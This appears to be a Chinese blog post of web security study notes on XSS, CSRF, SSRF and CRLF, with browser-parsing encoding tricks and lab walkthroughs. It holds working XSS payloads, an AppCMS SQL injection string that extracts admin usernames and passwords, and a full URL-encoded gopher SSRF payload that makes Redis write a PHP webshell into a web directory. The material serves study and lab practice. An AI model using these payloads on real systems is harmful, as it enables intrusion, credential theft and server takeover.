XSS、CSRF、SSRF学习笔记

知识点

xss分类

反射型 非持久 不能进数据库 刷新一次就没了 搜索框,地址栏等

dom型 前端JS自己把攻击者的输入当HTML解析

存储型 xss语句进入数据库

侧信道

系统在"算"东西的时候,会不自觉地泄露信息------时间、功耗、电磁波、声音、缓存状态......攻击者不直接破解算法,而是通过观察这些"副作用"来推断出密钥或敏感数据

CRLF

当程序把用户输入直接拼接到 HTTP 响应头里,且没过滤 \r\n 时,攻击者可以注入换行符,自己"制造"响应头甚至响应体

csrf

客户端请求伪造,被动触发

目前的服务器对form表单提交有token值验证

ssrf

服务端请求伪造

形成原因:服务端提供了从其他服务器应用获取数据的功能,同时没有对目标地址做过滤与限制,导致攻击者可以传入任意地址来让后端服务器对其发起请求,并返回对该目标地址的请求数据

造成危害:

本地利用:本地端口探测,服务探测

php中下面函数使用不当会导致ssrf

file_get_contents()

fsockopen()

curl_exec()

常用端口:

9000:fastcgi

6379:redis

3306:mysql

GOPHER协议 向任意端口发送任意格式的数据

file协议 读文件

dict协议 探测端口

任意文件读取危害:

敏感信息

配置文件

ssrf结合redis

redis低版本(3.2.6)才能生效

redis漏洞:

写入任务计划

写入webshell

写入公钥

redis,非关系型数据库,

特征:快,因为数据保存在内存中

内存小,存储数据有限,一般都是redis+mysql

数据容易丢

有持久化机制,可写到硬盘中,任意文件下

浏览器解析机制

复制代码
 1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
 //不能对协议类型进行编码,不然url会认为是无类型,对javascript伪协议进行编码导致url不识别
 2.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72% 74%28%32%29">aaa</a>
 //属性值下的字符引用,先进行html实体解码,然后进行url解析,url看到的内容是<a href=javascript :%61%6c%65%72%74%28%32%29">,没有编码协议所以url认识,最终进入js解析时内容为<a href= javascr ipt:alert(1)">
 3.<a href="javascript%3aalert(3)">aaa</a>
 //用URL编码":",完整伪协议应该是javascript: ,因此认为是无类型,url不识别
 4.<div>&#60;img src=x onerror=alert(4)&#62;</div>
 //先解析到<,tag open state状态,再解析div,tag name state状态,div标签结束,然后解析器看到&#60;  认为是数据状态下的字符引用,正常html标签运行,必须进入标签开始状态,而此时解析器只会解码,无法进入标签开始状态
 5.<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
 //RCDATE元素可以容纳文本和字符引用,但是解析器遇到编码只进行解码
 6.<textarea><script>alert(6)</script></textarea>
 //解析RCDATE元素,解析器会进入RCDATE状态,在RCDATE状态下,只有</textarea>和</title>被认为是标签,其他内容都被认为是文本
 7.<button onclick="confirm('7&#39;)">Button</button>
 //先实体解码后<button onclick="confirm('7')">Button</button>,然后进入js解析
 8.<button onclick="confirm('8\u0027);">Button</button>
 //unicode编码,js支持unicode编码,但是不能编码符号,会被认为是字符串
 9.<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
 //原生文本,只能把里面的内容当做文本,script标签中的内容html不进行解码,会认为是普通字符
 10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
 //unicode编码,js支持unicode编码,没有对符号进行编码,可执行
 11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
 //unicode编码,js支持unicode编码,但是对所有内容进行编码
 12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
 //unicode编码,js支持unicode编码,不能对数字编码或者括号内的内容需添加引号,不添加'',js解析器不会认为\u0031\u0032是字符串
 14.<script>alert('14\u000a')</script>
 //解析成换行也能触发
 15.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">aaa</a>
 //html实体解码为javascript:%5c%75%30%30%36%31%5c%75%30%30%36%33%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15),再url解析为\u0061\u0063\u0065\u0072\u0074(15),然后js解析为alert(15)

漏洞复现

level1

复制代码
 <script>alert(1)</script>

源代码:

level2

需要用户交互:

a" onfocus="alert(1)

非用户交互:

a" autofocus onfocus="alert(1)

level3

源代码:

a' onclick='alert(1)

Ok, Boomer

思考:setTimeout定时器如何使用,为什么会出现ok

setTimeout:传递函数和字符串,如果传递字符串,等于用eval执行这个字符串

ok:传入一个id=ok的标签,可以拿到整个标签的内容

思路:

找到DOMP的白名单:cid,tel

复制代码
 <a href="tel:alert(ok)" id=ok>a</a>

思考:为什么要用a标签,其他的可以吗

a标签自带tostring方法,可以将href的属性转化成字符串,settimeout可以执行,其他标签是继承父类

Appcms

复制代码
 1.1.1.1'),('2','0','0',(select upass from appcms_admin_list),(select uname from appcms_admin_list),'123','2.2.2.2')#

问题:

设置了安全码如何获取

如何找到后台

思路:

xss获取后台地址

csrf+存储型xss,getshell

管理员可以在后台触发js

上传存储型xss:

后台管理员触发:

成功创建文件:

多重xss注入:

ssrf结合redis

复制代码
 <?php
 highlight_file(__file__);
 function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
 }
 ​
 if(isset($_GET['url'])){
    $url = $_GET['url'];
 ​
    if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
   {
        die('No, No, No!');
   }
    curl($url);
 }
 if(isset($_GET['info'])){
    phpinfo();
 }
 ?>

bursupit爆破到其他端口:

思考:

redis怎么用,redis如何实现打任务计划,打shell,打公钥

思路:

ssrf+gopher协议,控制redis,然后利用ssrf往redis写入数据

利用ssrf执行持久化命令,往哪个位置写入数据

1.任务计划位置

2.web目录下

3.root/ssh目录下

通过爆破找到var/www/html/upload目录,利用gopherus生成payload

二次编码

写入成功

复制代码
gopher%3A%2F%2F172%2E19%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
复制代码
http://192.168.17.131:8091/?url=gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%252Fvar%252Fwww%252Fhtml%252Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
相关推荐
万点科技码农1 小时前
紧跟7月9日行业变革,西安万点网络科技一体化服务助力企业数字化安全转型
安全
Chengbei111 小时前
SoloXSS:一款现代化的自托管 XSS平台
人工智能·安全·web安全·网络安全·自动化·xss·安全架构
white_ant2 小时前
安全认证与 API 网关
安全
xixixi7777712 小时前
三大 AI 安全里程碑:Akamai 高危风险预警、智能体水印强制落地、PQC 量子安全全产业链统一
大数据·人工智能·安全·ai·大模型·智能体·政策
德福危险13 小时前
富有想象力的XSS盲打:靶机练习之Tempus_fugit5
服务器·网络·xss
hz5678915 小时前
电子远程评标系统哪家好?安全、合规、易用平台评测指南
安全·云计算·音视频·实时音视频·信息与通信
MartinYeung515 小时前
[论文学习]大语言模型安全综述:攻击、防御、对齐、度量与护栏的深度解析
学习·安全·语言模型
卓豪终端管理17 小时前
企业数据防泄漏:现代设备控制如何成为终端安全的关键防线
安全
德福危险18 小时前
从盲打xss到到模板注入:unix靶机渗透之Tempus_fugit4
前端·unix·xss